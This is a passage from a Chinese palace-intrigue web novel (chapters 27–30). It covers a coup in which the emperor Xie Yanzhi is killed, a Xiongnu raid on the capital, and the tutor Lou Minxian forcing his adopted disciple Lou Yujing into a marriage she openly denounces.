风声止住了,不远处的池塘,池鱼不再游走,纷纷翻了白,肚皮朝上叫烈日灼烧得疼痛难捱。 竹子不再因风晃动发出吱嘎声,泛黄的竹叶缓缓飘零,落到了谢衍知脚边。 谢衍知很想笑,想说没关系,他不在乎。但他就那样静静地僵在了原地,再也没有动弹。 原来如此,谢衍知想,原来在楼悯弦心里, 他谢衍知真的没有分毫位置,一点份量都没有。 “所以不要放弃活着。”楼悯弦说,“即便是面对我,也好歹挣扎一次。” 不要放弃活着,不要为他甘愿赴死,要尝试挣扎,纵使结果不尽人意。 也不要就此轻易放弃。 “谢衍知,你也是我的徒弟。” 他终于第一次清晰明确地告诉他,你也是我的徒弟。 你是我从冷宫带出来,将将濒死的魂灵,我把你养到这个地步,已经仁至义尽,却不代表我希望你为我而死。 “师父。” “……” “师父……” 楼悯弦叹道:“衍知,回罢。” 谢衍知蓦地湿了眼眶,猛然转身,袍袖掩面,不愿他看。 楼悯弦又说,“陛下,回罢。” 谢衍知终于回过神来,转身像是夺命狂奔,太狼狈了,狼狈到他竟觉得,如果从未被楼悯弦从冷宫带出来,就这样死去,是不是也能保全更多体面。 门外,总管太监依然站在马车前等候,见皇帝去时风风光光,回时痴痴狂狂,也明白是楼太傅又说了什么让他寒心的事。他几步上前拖住谢衍知的胳膊,低声问,“陛下,回去吗?” “回罢,朕……需要清醒清醒。” 27.他日再相逢 沈蕤的确许久没有见过楼玉京了,他日再相逢,清风动天地,带来的重逢礼是谢衍荀的人头。 在楼玉京去查他身世的那天他卷着细软要跑,毕竟不是真的傻,也不是真的要坐轮椅,骑马狂奔几乎要到扬州边界,被楼悯弦与沈蕤联手拦了回来。 一番打斗,谢衍荀久坐轮椅,哪怕曾经确实可以和楼太傅过招,现下也生疏了。 沈蕤没想过要他的命,带个活口回去也方便楼玉京问些东西,奈何对方实在是怕得慌,回想起李芷华说的她不会放过你。谢衍荀不知道楼玉京的手段,或许会比慎刑司更残忍,吊着他的命日日折磨,求生不得求死不能。 他难以想象自己会遭受怎么样的折磨,宁愿撞剑而死、人头落地,也不愿意日日承受痛楚。 楼悯弦并不意外,他的头颅还粘连在脖颈上,他让沈蕤转身,而后手起刀落,用布料包住绑好,自己满手鲜血提着这脏东西。 楼玉京的落脚点已经暂时改成了明面上的白府,他并没有现身,而是将东西交给沈蕤,让她去送。 沈蕤盯着他看了半晌,还是伸手接过。楼悯弦闪身到了巷子深处,他内力极强,想隔着墙听点什么并不算难。 很快他就听到楼玉京的声音。 “师叔,别来无恙。” 沈蕤笑道:“是许久不见了,这是我和你师父送你的礼物。” 楼玉京看了那布包一眼,像是明白了什么,嗤然一笑:“真相尚未沉浮,就怕我折磨他,先一步去死了?” “李芷华那段时间没少吓唬他,估计他以为你是什么手段残忍的女魔头。” “我要真是女魔头,就不必您与师父出手了。”楼玉京说着又像是明白了什么,扯了扯唇,“为了让我推阿韫上位,师父已然不择手段,若真到了那时候我还是执意要带他走,师父怕是会与我动手。” 这就是李芷华说的有朝一日她会要楼悯弦的命吗? 为了自己的养子,去杀自己的养父。 沈蕤不置可否,倒是墙的另一边,楼悯弦听了这话微微睁大双眸,像是震惊于原来他在楼玉京心中居然是这个模样了,此前楼玉京从未对他有过负面评判,怕也是逼得太狠,做得太过。早该想到的,她连楼韫都能狠心,何况是他。 只是她对楼韫心软,对萧鹤明心软,怎么到了他这里,偏偏就成了判他一句不择手段。 楼悯弦已经不敢再听下去,若再听到些不好的,他恐怕会比楼韫疯魔,比他更加失控。他走向深处的黑暗,顷刻消失。 只是不知,在他离开的刹那楼玉京像是突然松懈,拍了拍沈蕤的肩,“师叔,他走了。” 沈蕤应了一声,却不知该说些什么,这师徒俩伤害彼此可真是够痛,知道往哪扎最能让对方血流如注疼痛难捱。 沈蕤抬头看了看天,烈日当头,适合去万兴楼吃一碗冰粉。 万兴楼的伙计刚把冰粉送到李府,便碰上楼太傅不打招呼进门,心中替他捏一把汗,毕竟谁人不知李丞相的暴脾气,不过这都是他们管不到的,便快些离去,省得被迁怒。 “谢衍荀死了,尸首分离。”楼悯弦面无表情,甚至没有坐下,李明德刚把第一份冰粉送给夫人,准备吃第二份,忽听得这血腥事,沉下了脸。 “你就不能不恶心我?” 楼悯弦这日不知发什么疯,言语恶劣,凉凉道:“丞相大人见惯了血腥场面,如今不过是旁人口述便吃不下一碗冰粉,怕是老了扛不住压力,不若趁早换你侄子上去。” “吃火药了你?还是说你那好徒弟知道你利用她,跟你吵了一场?火气这么旺。”李明德这下也没心思吃东西,没好气道,“活该。” “那又如何,当下除了谢衍知,便是楼韫,其余皇子死的死残的残,除非她愿意放下仇恨去扶持谢衍知,毕竟她已经知道了谢衍荀和他同胎双生。她不会让天下动荡的,即使她还是要带走楼韫,也不会不管黎民百姓。” “楼悯弦,你真恶心。”李明德哼了一声,“闲得发慌跑来说些血腥事,又说些你我皆知的话,就为了宣泄你的情绪?” “自然不是。”楼悯弦说,“谢衍知已经知道自己的身份,可笑他居然问我,如果为了我的大业而死,我会不会高看他一眼。” “你的血是冷的,谢衍知明白却不敢承认罢了。楼悯弦,除了方才恶心我的时候,你真的不像一个人。” “像不像人已经不重要了,重要的是,楼韫心中种下了偏执,他认为玉京已经原谅了萧鹤明,却不肯原谅他,十年感情和一个才认识一年的人,玉京选了后者,他心里不会平衡的。第二个无上皇,我有把握可以制造出来。” 李明德深深地看他,意味不明地笑:“那我拭目以待。” 至于那日之后,谢衍知为什么没有下令让人全城搜捕朝华,无非是默认了朝华与楼悯弦的情谊,明白了就算是他找到她,也得不到想要的答案。 他默认了朝华会力挺谢衍荀,却没想到,朝华与楼悯弦亲手杀了谢衍荀,是为给皇太孙铺路。 谢衍知坐在养心殿的交椅上喝得烂醉如泥,各种布防提前,调兵回城,内心却明白这是无用功,假设楼悯弦真的要他死,他就活不下去。 总管太监抱着几幅画像走进来,看着交椅上躺的毫无形象的醉鬼,低下了头。 “陛下登基已久,是到了该选皇后的时候了。” 谢衍知没有动,盯着手里的酒杯看了又看,总管太监见他不回应,又喊了一声:“陛下。” “出去。” 反正也活不久了,要什么皇后,总不能死了还祸害别人。 面前传来窸窣声,似是对方领命离去。 谢衍知终于直起身子,抖了抖袍袖,决定回冷宫看看幼时种的梅花是否活着。 冷宫外只有零星几人守门,见他前来纷纷行礼,谢衍知没有看他们,提着衣摆快步朝里走去,找了一圈,最后在墙头看见一株早已枯萎的干枝。 哦,原来早就死了。 另一边,楼玉京做了几日争斗,本是想着去找楼韫的,毕竟十年感情,说不恨是假的,说不爱也是假的,他始终是她的养子。萧鹤明这段时间不知道如何与白尧叙等人商议的,许久没有回来,她便先去一趟楼府。 熟门熟路地翻墙上瓦,见到了对方在练剑,便要往下跳,忽然瞥见萧鹤明从正门走进,她顿 了一下,没有声张,藏在房顶打算看看这俩是不是又要密谋什么骗她。 可如果——如果那天楼玉京走了,没有往下听,就不会知道她的养子有着怎样的龌龊心思。 “你怎么来了?”楼韫的语气算不上好,甚至厌恶都快溢出来。 萧鹤明也没好到哪里去,冷笑一声:“你以为我想来?只是听说你和玉京吵了架,怕她不告诉你,谢衍荀死了。你成了最后可以和谢衍知对抗的人。” “所以呢?”楼韫似笑非笑,“世子是打算忍着恶心推我上位,也不怕我登基的第一件事就杀了你?” “楼韫,你真是异想天开,我只是想告诉你,自己的心思藏好些,省得她知道了宁愿让谢衍知在龙椅上坐着也不愿意换你上去甚至——再也不肯见你。” 萧鹤明从袖口抽出一沓信纸,是楼韫和楼玉京冷战期间,他寄过去的,那段时间楼玉京虽然在府上,但进出白府的东西吝筱和萧掌柜都会先检查一遍。 这一检查倒是不得了,楼韫有天写信到深夜,睡了过去,醒来时信封不知是谁为他封好的,他便没有想太多,直接寄了过去。 就是这封信道出他的私情。 “我确实深深地喜爱着我的父亲,从来没有告诉过任何人我趁她醉时吻过她。”他悠悠地念着,眼神却凌厉,“你知道她是女人,除楼悯弦之外的第一个知情者,可你选择不拆穿,你的确保护了她,但你也着实恶心到她了。这封信我没有给她,是给你的退路,楼韫,这点心思你早该灭了。” 楼韫在他念出这句话的时候僵了一瞬,这封信他明明藏的很好,为什么会突然出现,甚至于被他亲手寄出。他甚至不敢想如果真的到了楼玉京手里,楼玉京会如何看他。 只是片刻之后,他冷静下来,讽刺道:“难道你的心就干净?” “萧鹤明,别不承认了。虽然曾经你确实是打着恶心她名头男扮女装,可是男人看女人是什么眼神,我不会看不出来,曾经你说你厌恶她,可你又是从什么时候起让自己眼里的厌恶变成压抑的喜欢?” “……” “你喜欢她,心比大脑更快明白,但你不敢承认,不敢去看。然后你说你讨厌她,萧鹤明,你本来也不干净。” “可我脏不过你,你甚至趁人之危地吻过她。” 这也是那封信里他亲手写的,他总想着再看一遍就烧了它,再看一遍就烧了它,可到最后也没有烧,一直到现在,到被第二个第三个,甚至还可能会被本人看见。 “我吻过她,在元丰二十年,她与萧鹤明醉酒后的第二天。在萧鹤明离开后。” “……” “楼韫,你当真恶心。” 是挺恶心的。楼玉京的内心认同了萧鹤明这句话。 后来萧鹤明有没有承认自己的感情,楼玉京已经听不到了,只是恍惚地坐在瓦上,嘴角牵起一个诡异的弧度,双眸空洞得像是人偶,就那样静静地听。 她甚至不知道自己之后该如何去面对楼韫了。 在她下定决心要原谅他的时候,得知了他那不该存在的感情与曾经的禁忌之吻。 狼心狗肺。楼玉京第一次这么形容一个人。 28.小舟从此逝(待补) 楼玉京已经不知道自己是怎么回到了白府,在之后的几天里她闭门不出,饶是宋则安亲自来请都没能把她叫出来。她昏昏沉沉睡了几日,梦里全是楼韫拿着那封信站在她跟前说,我一直喜爱你。 而后就是噩梦惊醒,满身冷汗,不知所措。 萧鹤明或许是知道她躲藏的原因的,除了那件事,他着实想不到第二件让她变成这样的原因。 楼玉京知道了楼韫那封信的存在。 果真是心软了,萧鹤明心想,定然是她那日去了一趟楼府,看见了他与楼韫,也藏着听了那一番对话。 那一日她本是要原谅他的,却忽然觉得没有必要了,便到了最后也不现身。 只是,楼玉京会恨他吗? 她是会恨他去找楼韫挑明让她听见,还是会恨楼韫从一开始就对她居心不纯? 会恨吗?连她自己都不清楚。 已经到了第五日,她身子弱,哪怕会武也受不了这样饿下去,萧鹤明还是端着饭进了她的院落,却站在门外没有进去。 他叩门问道:“你知道了?” 楼玉京没有回应。 “楼玉京,你是打算死在里面?” 像是当年他会说出口的话,只是当年她会出来和他对骂,这次不会了。 “……” “楼玉京,开门,或者说你更希望楼悯弦亲自跟你谈?”已经可以算是威胁,毕竟这桩丑闻她还是不愿意被楼悯弦知道的。 须臾,门开了,楼玉京面无表情地站在门口。 “那封信,他写了多久,藏了多久?”她没有看他手里的饭菜,只忽然问了这句。 毕竟当时隔的比较远,她没能看到细节。 “我不确定,但看上去有些年头了,信纸都起了毛边至少四年打底。”萧鹤明果真没有再隐瞒。 四年打底,楼玉京只觉得浑身发冷,胃部痉挛,她恍惚地想,四年打底,那岂不是从楼韫十三四岁开始,便已这样想了。 是她把他养的太过早熟,才会如此。又或许是帝王家的血脉生性如此,没有一个干净的。 肮脏到令人作呕。 楼玉京忍住胃部的不适,盯着萧鹤明看了半晌,忽然笑了,“为什么要给他留退路?” 终究是隐瞒比真相更痛,她是当事人之一,凭什么要被瞒着? “萧 鹤明,你有什么资格替我给他留退路?” 萧鹤明只是沉默,他确实僭越了。 后悔吗? 或许只是丝毫,又或许并不后悔。 反正他做都做了不是吗? 见他不说话,楼玉京也没有兴致再追究下去,轻声说:“世子请回罢,我需要冷静一段时间。” 又是世子这般疏离的称呼,每一次她生气都不会直说,永远是冷着脸等旁人几时发现。 萧鹤明垂眸看着她。 “玉京,是我的错。” 他难得在清醒的时候说,是我的错。也是初次清醒地在她面前喊她玉京。 “我确实没有资格替你拦截,替你决定,所以这封信我现在还给你。” 他郑重地从袖口抽出一张纸,然后递与她,全然将自己处于下位。 楼玉京没有接,淡笑道:“我已经不需要了。” 她都知道内容了,再要这封信又有什么用呢?无非是徒增烦忧,让她不爽。 “好。”他终归没有强求,却将话锋一转,手中端着的托盘递了过去,“但至少别把自己饿死了,我们还要计划宫变的不是吗?” 29.兴亡百姓苦 楼玉京首次出现在朝堂上,李明德并不意外,毕竟是盟友,大部分臣子终归是要见上一见。 谢衍知很久没有见过这位同门了,犹记得上一次见她,是七八年前。 能在这个节骨眼让楼玉京进来,只能说楼悯弦已经连演都不演了。 谢衍知不欲与那群老东西争吵,随意听他们汇报完便宣布退朝,楼玉京没有跟着楼悯弦离开,借着少见为由,在宫内转悠,甩开了楼悯弦派来跟着她的宫女,闪身进了养心殿。 “你来做什么?”谢衍知已经十分疲惫,见来人是她,就没有端着帝王架子。 楼玉京从来不怎么爱拐弯抹角,便直说了:“陛下如今还想再做帝王吗?” 谢衍知听她这样问,不由得嗤笑:“楼玉京,你是来说笑的,还是来跟我炫耀太傅对你言听计从,连让不让我做皇帝都是你一句话的事?” “我原先以为陛下只在乎皇位,谢衍知,你那日让李明德追捕我,居然只是嫉妒我吗?” 谢衍知摆了摆手,“利用罢了,反正不管是嫉妒还是利用,到了当下都是无用。宫内上下全是太傅的眼线,我就算想,也没办法现在杀了你,何况你是他带出来的,我不可能是你的对手。” “我此番前来并不想与你聊这些,我只想问你,谢衍知,你还想不想继续做皇帝?” “实话说么?并不。” 楼玉京一顿,“你当初废了那么大劲坐上来,现在为何又忽然不愿意了?” “我坐上来,是因为当初太傅扶持我,我心高气傲想靠着自己爬上来让他对我另眼相待,只是你知道吗?他的眼里,这辈子,到永远,都只留得住你的背影,他不会再看第二个人了。”谢衍知自嘲一笑,“哪怕我问他,如果我为他的大业而死,他会不会高看我,他说不会。既然无论如何都得不到他的重视,那我坐在龙椅上,成为李家的傀儡又有何用?” 楼玉京看向他的眼神变得复杂。 “谢衍知,你做帝王居然只是为了别人能够高看你一眼吗?” 谢衍知笑得双目赤红,“是又怎样,楼玉京你从来都不缺他人重视,当然无法体会我的追求,我终其一生不过是想要师父多看我一眼,只一眼就够了。” “……你是断袖?” 谢衍知一噎,不可置信地看向了楼玉京,眼里似乎在说你怎么可以这么问,你怎么可以污蔑我和太傅的父子情? 楼玉京尴尬地摸摸鼻子,“咳咳,不好意思哈,我在江南见过一对……呃,姑且算是兄弟吧,他俩就是这样在一起的。” 谢衍知:“……” “我不是断袖,我可以肯定我喜欢女人!”谢衍知咬牙切齿,气急败坏地说。 “那你又何必执着于他的认可,还是说因为你只剩他,所以才这么执拗?”楼玉京看着他的眼睛,继续说,“比起师父,你其实更希望在先帝面前扬眉吐气,你恨他害了你的母亲,只是没等到那一刻他就死了,你不甘心。加之自幼时起你什么都得不到留不住,性格使然,所以你要死死地绑住他,才能感受到你自己的存在。” “楼玉京,你进来就是想说这些废话?” “自然不是,所以我们回到最初的话题,我想扶你做皇帝,你不能推卸责任。” 谢衍知沉默一会,然后看向她:“我以为你会更愿意让楼韫坐上去。” “我有不扶持他的理由。” 他性格不合适,她也不想经常看见他,就这么简单。无非是一切尘埃落定以后,她给他一笔钱让他离开。 “楼悯弦不会留我一条命,楼玉京,就算你想要扶持我,就算他对你再……我也不信他会愿意为了你留下我的命。” “他会。” “朝华跟你说的?” 这个“朝华”是谁,彼此都心知肚明了,只是到了这个地步,也没有瞒着的必要楼玉京俯下身忽然凑近,在他耳边压着声说:“你认知里的朝华,是我师叔,而朝华本人,是我。” “!!!” 谢衍知如同石化一般一动不动,只是张着嘴,喉间哽住说不出半句话。 楼玉京……是朝华? 不……不对。 不仅仅是朝华,以及楼玉京是女人! 一连串像个鞭炮一样炸出在脑中,谢衍知声音有些颤抖,问出来。 “孟虞频,孟将军是你母亲吗?” 他不是傻子,几乎瞬间就被拉回十多年前,楼氏夫妇灭门案。其中有他那死去的三皇弟插手。 “陛下,我该走了。”她却不给他解释,“师父那边,我会和师叔轮番相劝。” “……” 楼玉京走后许久,谢衍知仍是一个人静静坐在养心殿,他抬头看了看窗外,晴空万里。 低头看了看自己的身上的龙袍,终究叹息一声,再一次换上了曾经的旧衣,像个永远长不大的幼子,渴望用回忆唤醒父母的疼惜。 短短几天,楼悯弦等人多年布局的成果开始显现了。 他先是通知了禁卫军控制城门,放塞北将军等人进城,再到告知镇国公,让他们做好逼宫的准备,毕竟谢衍知还是有留手的。 “师父。”楼玉京站在他身边,轻声说,“阿韫上位以后,我希望可以留谢衍知一命,毕竟他登基本就遭人非议,要是再杀了谢衍知,怕是会被扣上篡位的名头。谢衍知是我的仇人,他日我会亲手了结了他,但不是现在。” “师兄,玉京此言在理,你要的也是天下安康不是吗?如果谢衍知在这个时候死了,楼韫又让人施压,岂不是人人都可以骂他一句暴君?”沈蕤已经来到他的身后,继续说,“反正也不差这一时,关他个一年半载,届时没有多少人会记得先帝,方才是最好的动手时机。” 楼悯弦看着她们好一会,然后扯唇,说:“好啊,我答应阿蕤。” 半月后,隆冬,这一场策划多时的宫变终于开始了。 塞北的雪飘了多时,将军领兵破城站在了楼韫身后,只留了副将与万人誓死守在线上。只是宫变外传,匈奴趁乱搅水,一波打了边上副将,另一波趁其不备跟着破了南城门。 烧杀抢掠。 伤心秦汉经行处,宫阙万间都做了土。 入眼巍峨不再,荒烟袅袅,烽火流金的红烧上天边。街道上来不及收摊的百姓被抢了金银、家畜、粮草,叫苦连天无人应答。最后化作悲鸣,说新帝造孽——江山将亡! 兴,百姓苦;亡,百姓苦。 楼玉京这边本是想着先让谢允等人离开京城,等她带走谢衍知再进行规划,只是匈奴一事打乱节奏,先离开的是镇国公与谢允,只剩下沈为平和萧鹤明还留在身边。 白尧叙那边脱不开身,匈奴人有部分进城就奔着琼景王府去了,他需得护着宋则安。 李明德的情况也不容乐观,他本来跟着楼悯弦进宫,听到有人报信说匈奴破了南城门便急切地往李府赶去,所幸他有暗卫,尚且护着李夫人,便让人带着李夫人进了府中暗道,自己带一队禁卫军收住李府。 楼玉京和萧鹤明已经一路杀到南城门,门外还源源不断涌进敌军,双拳难敌四手,纵使是楼玉京也不过凡人之躯,打到最后精疲力尽,但她不敢停——她不能停。 身后是数以万计的百姓,倘若连她都是失手,那么死去的,就不仅仅是与她站在一起的士兵了。 “萧鹤明!关城门!!!”她几乎嚎破了嗓子,萧鹤明原先在与匈奴周旋,闻言即刻动身朝着门口跑去。 沈为平这时终于御马而来,单手以剑迎敌,另一只手牵着第二匹快马朝着楼玉京的方向疾驰而去。 “楼老板,上马。” 楼玉京正欲上马,转身刹那,却见妇女抱着孩子,跟前的匈奴人举剑便要刺下。她当即几步飞驰而出,腰身向后仰去,从马腹下滑过。 袖口匕 首飞出,打在剑上擦出火花,匈奴人被这股力道震得后退几步,反应过来再次往下扎去。 这时楼玉京已经到了他的身后,一只手勒住他的脖颈,另一只手接过沈为平甩来的刀刃往他脖子上扎了下去,血流如注。妇人吓得尖叫,却还是紧紧抱着自己的孩子。楼玉京喘息不止,声音沙哑。 “带你的孩子躲回屋里。”言罢,楼玉京几步上马,双腿一夹马腹,拉着绳朝着皇宫方向极速奔去。 楼悯弦不可能不知道这里的情况,当下逼宫不是要紧事,他却没有派兵过来控制局面。 难道如今在他心里,百姓的性命都没有楼韫登基那么重要了吗!那让他登基的意义究竟在哪!? 很快楼玉京就赶到皇宫,禁卫军认出了她却拦下她,楼玉京顾不得那么多,几下将人打倒就继续往里走。宫里也死了不少人,有楼悯弦的,也有谢衍知的。 “师父!”她终于见到了他,对方站在宫道上事不关己地盘着佛珠,“塞北将军呢?让他去控制南城门,再分几队去坚守另外的城门。” “玉京,现在不行,让他们再撑一会,谢衍知很快就要妥协了。” “楼悯弦!”楼玉京已经算是嘶吼了,语气中带着不可置信,“有什么事比百姓的命还重要,难道不是因为你们布局不当,走漏风声才给了匈奴破城的机会?当下什么事都比不上御敌!” 她甚至伸手一把夺过了那串佛珠。 曾经她说这串佛珠我还给你,承诺不再向他索取分毫,但到了现在,为了调兵,她再一次伸出了手向他索要。 楼悯弦没有阻止她,只是笑了起来:“玉京,你想清楚了,这一次再利用我,我们之间就不可能两清,你要付出的代价是你给不了我的。” 楼玉京已经转身跑了,一路上举着那串佛珠调动现有兵力赶去南城门。萧鹤明等人终于费劲关上了门,余下的匈奴不在少数,只能慢慢绞杀。 楼悯弦在楼玉京杀敌护百姓的时候砍下了谢衍知的头颅,她无暇分心,这些匈奴够她忙个几天了。 至于死亡,那是每一代皇位更迭都会发生的事,不死一部分人,如何震慑之后的人呢? 等到楼玉京终于与其他人处理完城内的匈奴,已经是六日之后了,沈蕤来信告诉她,楼悯弦杀了谢衍知。她只觉得天旋地转,累到了极致。 楼玉京还是强撑着去了楼府,她去质问。 “玉京,我那日答应的不是你,所以我可以反悔。你知道的,我答应你的事永远不会食言。” 可那日他应下的是沈蕤,好一个文字游戏。 “至于匈奴的事,你不是已经处理了,并且处理的不错?死了几个人就可以换皇位更迭,比起前面几代的腥风血雨,已经很值当了。” “值当?是啊……对你楼太傅看过的战争所言,可谓值当。”楼玉京低低笑了起来,愈发疯狂,这会她情绪激动,双目赤红,毫无形象地与他吼着,“那谁又该死?谁该为了你的大业去死?楼悯弦,你居然不在乎别人的性命了?不是你说的,皇帝在位为江山吗?你就是个疯子、骗子!” “我不是骗子,只不过是你下注下不赢我。你以为我真的不知道你背地里做了什么吗?谢衍知的存在就是隐患,现在好了。”楼悯弦平静地说。“谢衍知死了,我们终于真正站在了一条线上,玉京,你只剩楼韫这个选择,你不得不选。如果他不是皇帝,那这天下就再也没有第二个纯正血统的帝王了。那些臣子不会让萧鹤明上位的。” “……” “好了玉京,现在该算算你借我之名调兵的事了。我说过,这个代价不会是你给得起我的。” 楼玉京看着他的脸,楼悯弦的眼神粘腻地落在了她的身上,让她起了一身鸡皮疙瘩。那眼神到后来楼玉京想起都只觉得一阵恶心。 楼悯弦终于不再是淡然的语气,带上了些许疯狂。 “玉京,嫁与我。” 30.曾见巫山云 楼韫如愿以偿坐上了皇位,楼悯弦翌日便为他选了几个高门大户的小姐,任他在其中选出一位皇后。楼韫垂眸看了好几幅画像,抬头笑着朝楼悯弦望过去。 “李氏,李芷华尤为貌美。烦请太傅去和李丞相商议婚期。” “陛下是聪明人。”楼悯弦递上婚帖,虽然是恭敬的姿态,但话语间充斥着挑衅,说:“只是届时,希望您能领着皇后来观礼,我与玉京的婚事。” 楼韫显然怔住了,楼悯弦大婚也便罢了,可他……他说要娶谁? ——我与玉京的婚事。 楼悯弦要娶楼玉京,那就意味着他选择告诉那些臣子,说楼玉京其实是女人。加上楼这个姓氏,又有谁猜不到她的身世? “太傅隐瞒多年,一朝揭发,难道真的认为自己可以护住她吗?” “陛下是皇太孙,你登基以后,没有第二个人可以与你抗衡,何况两位将军死了那么多年,是她与其他皇子的仇,与你无关,那些臣子想来也是不会在乎的。” 楼韫猛地站起来,几步走下台阶,走到他跟前。他比楼悯弦矮上一节,却还是仰起头,怒不可遏地问:“她情愿?” 他是知道楼玉京到底喜欢谁的,楼悯弦一句婚事,不知其中包含了多少威逼利诱。 楼悯弦盘了盘佛珠,像是在回忆那日他与楼玉京说完那句话之后的事。 “楼悯弦……你刚才说了什么?”那声音悲戚、痛苦、哽咽、颤抖。甚至是绝望。 那时的楼玉京只觉得天旋地转,她几乎是瞬间抽出匕首抵在他心口,像是宁愿自己是个聋子,宁愿今日没有来质问他。 心脏狂跳,泛着细细密密的疼。 怎么会不痛呢?她低低笑了起来,笑的逐渐疯癫,笑得眼泪都出来了。楼玉京捂住自己的胸口,死死攥住衣襟,攥住了皮肉,自伤一般让自己疼痛难捱。 天边电闪雷鸣,细雨飘零,洋洋洒洒尽数打落,淋了满身。 怎么会不痛呢? 先是萧鹤明,然后是楼韫,最后是楼悯弦,所有人都在骗她瞒她把她耍的团团转,可所有人又都说爱她喜欢她,吻她要娶她。无论换做是谁,都会痛的。 “琼景王世子手段高明,假死入楼府做我儿媳,男扮女装忍辱负重。我养了十年的儿子帮着他欺我瞒我,最后……最后。楼悯弦,你从一开始就知道,你和楼韫一样选择不告诉我。”楼玉京哭着笑着颤抖着最后歇斯底里一般地吼出来,再到嘶吼之后的渐渐平息。 “如果连你我都不能信了,那在这世间,我的的确确谁都不能再信得过,我躲不了躲不过无所遁形近乎透明!楼悯弦,你利用我,算计我,可是到了最后你也和他们一样,你说你喜欢我。” 楼玉京像是突然崩溃了一般,嚎啕痛哭,不住摇头,慢慢往后退,手却还笔直地举着,刀尖对着他胸口,划破了昂贵的布料。 “楼悯弦!你和楼韫一样恶心、你比楼韫还要恶心!我是你养大的啊,我是你的孩子啊。你怎么可以起这种心思?你怎么有脸利用完我,又对我说要娶我?” 楼悯弦安安静静听到最后,原本淡漠的一张脸终于有了一丝波动,那双淬着冰的眸子此刻也显得柔和了些,他往前几步,楼玉京已经不再往后退了,站在原地。 她任由楼悯弦一步步向前靠近自己,任由匕首刺穿他的左肩,鲜血霎时浸湿染红了月白色的衣物,可他不在乎。楼玉京没有惊恐收手,她甚至还往前使劲扎了进去,像是当初对待萧鹤明那般,使劲往里头扎,恨不能剔肉剜骨。 泪已经干了,该做的事也做了。 “楼悯弦,我恨你。”楼玉京终于听到自己近乎漠然的声音,不再是那么崩溃了,“萧鹤明已经在城外守候,虎符在手,塞北将军的头颅落地。是王爷在助我,你想要楼韫即位可以,先让他去那些无辜惨死的百姓坟前拜上三天!” 楼玉京咬着牙,声音都有些颤抖:“楼悯弦,我们誓死为敌。” 养恩在前,两清不了,但仇恨在后,不是什么事都可以用一句恩情轻飘飘揭过。 楼悯弦垂眸看着她,淡然道:“誓死为敌么?可是……朝华小姐,你似乎忘了自己还是筹码,只要你一天在城内,萧鹤明就一天不敢轻举妄动,毕竟他承认过对你的情谊了不是吗?玉京,是你亲手把自己交到了我的手里。” 楼悯弦攥住刀刃一点一点往外拔,这动作有些困难,楼玉京毕竟是他亲手教出来的,她不是娇柔的深闺小姐,所以还是费了些力气,手上伤口愈发深了。 利刃拔出的一刻忽然轰隆一声巨响,天边白光乍泄,狂风呼啸,雨势浩大,城外山林甚至爆发了几十年难遇的泥石流,瞬间淹没了空旷的村庄。 所幸曾经布局时楼玉京让人给了村民足够的银两,让他们搬走,否则死伤惨重。 楼悯弦的脸堙没在闪电消失后的黑暗里,楼玉京却清晰地听见了他的声音。 “我可以答应你,让楼韫去那些人的坟前跪拜,让他们的家人唾骂他憎恨他。只是玉京,有一件事你说错了,利用和算计的确是我本心。可是情感的事谁都难说,保不齐就会在相处中对一个人动心,这就当是师父最后送你的礼物。” 话音刚落,楼悯弦一甩袍袖开始出招。楼玉京早已精疲力尽,硬逼着自己和他过了十余招,终究还是被他一手砍到后颈,身体一软,昏睡过去。楼悯弦眼疾手快地把人捞进自己怀里,拔了她的发簪,淋湿的头发一条一条下落,让她以女人的姿态承受他的感情。 一个急促而近乎撕咬的吻落在楼玉京的唇上,渐渐变得温柔,恶劣又怜惜。 一吻结束,藏在暗处的死士终于现身,问他如何处置楼韫,楼悯弦低喘着在黑暗中发号施令。 “压着他,去那些死人坟前跪三天。” 他答应她的事,的确一向没有做不到的。 没有人看见楼玉京眼尾在那句话说出后流下了泪,那滴热泪终究淹没在了冰凉刺骨的雨里。 回忆至此,楼悯弦低着头和少年对上视线,手上盘弄佛珠的动作停了,拍上他的肩膀。 “她情愿。” 她欠我恩情,不得不情愿。 言尽于此,楼悯弦转过身走向门外,他的背影依旧单薄,不似个人。 “楼悯弦,是你以前演的太好。”楼韫忽然开口了,楼悯弦一步都没有停。 李府,李明德听说楼韫那边选了李芷华,垂眼沉思片刻,让这个养女来了一趟书房。两人不知是如何谈判,据那日洒扫的下人所说,三小姐走的时候老爷脸色何其难看。 楼韫正式登基,连同着与李芷华的婚事一道办了,接着是楼府那边热闹非凡,楼玉京被迫换上了红嫁衣,被捆着送到前厅,有人祝贺有人迟疑。 这新娘子为何是捆着来的。 楼悯弦揭了盖头,露出那张不施粉黛的脸,她的皮肤有些粗糙,不算是绝色倾城却也算不上丑,在场但凡是习武的都看出的那绳结对这女人的针对性,没有绑死,又让她挣脱不开。 “那是……楼玉京?”眼尖的宾客认出了她,接着是第二个第三个,质疑的声音铺天盖地袭来。 “她不是男人吗?怎么会嫁给楼太傅!” “你傻吗,没看见是太傅硬要和人家拜堂?” “楼玉京居然是女人……” 楼玉京还是费劲用肩膀撞开了压着她的侍从,声音嘶哑。 “我从来就没有答应过这场大婚,是他楼悯弦道貌岸然、衣冠禽兽!我是他养大的,算他的养女,他如今要和自己的养女拜堂!我没有答应过他半句,是他强迫我!” 楼悯弦能够做到这个地步,本就不打算再要脸面,反正人娶了,过段时间外头议论的声音会越来越小,当下任她闹腾也无伤大雅。 “楼太傅罔顾人伦,强娶养女,可真是要脸——” 屋瓦上方,是吝筱,身侧是萧掌柜,另一边是……萧鹤明。</p >楼悯弦当即冷下了脸,朝着身侧的侍从使了个眼色,侍从吹响暗哨,瞬间十余人涌上屋瓦,现场一片混乱。 楼悯弦见他们与暗卫周旋,便要抓着楼玉京回屋,下一秒楼玉京的拳头砸在了他的脸上。 绳结解开了,她的腕上是勒痕与血迹。 “萧鹤明,走!”她几步踏墙上瓦,拉着人边打边后撤。这件嫁衣有些妨碍她的出手,但用来对付几个暗卫足够了。 城门重兵把守,萧鹤明等人进城的时候还是寂静无人的。楼悯弦还没追上来,守在门口的是本该与李芷华成亲的楼韫。 对方淡然地望向几人,旋即目光停留在楼玉京身上,说:“你们三个可以走,她留下。既然太傅送了嫁衣,正好也方便她跟我回去,许她贵妃之位。” 如果谁都可以娶她楼玉京,那他作为当今天子,凭什么不可以? 萧鹤明眼珠一转,瞟向了楼玉京,嘲讽道:“楼老板,家门不幸啊,畜牲都能出两个。” 楼玉京见他一副混不吝的模样,呸了一声,“既然知道是畜牲,就不知道多带些人来打?” 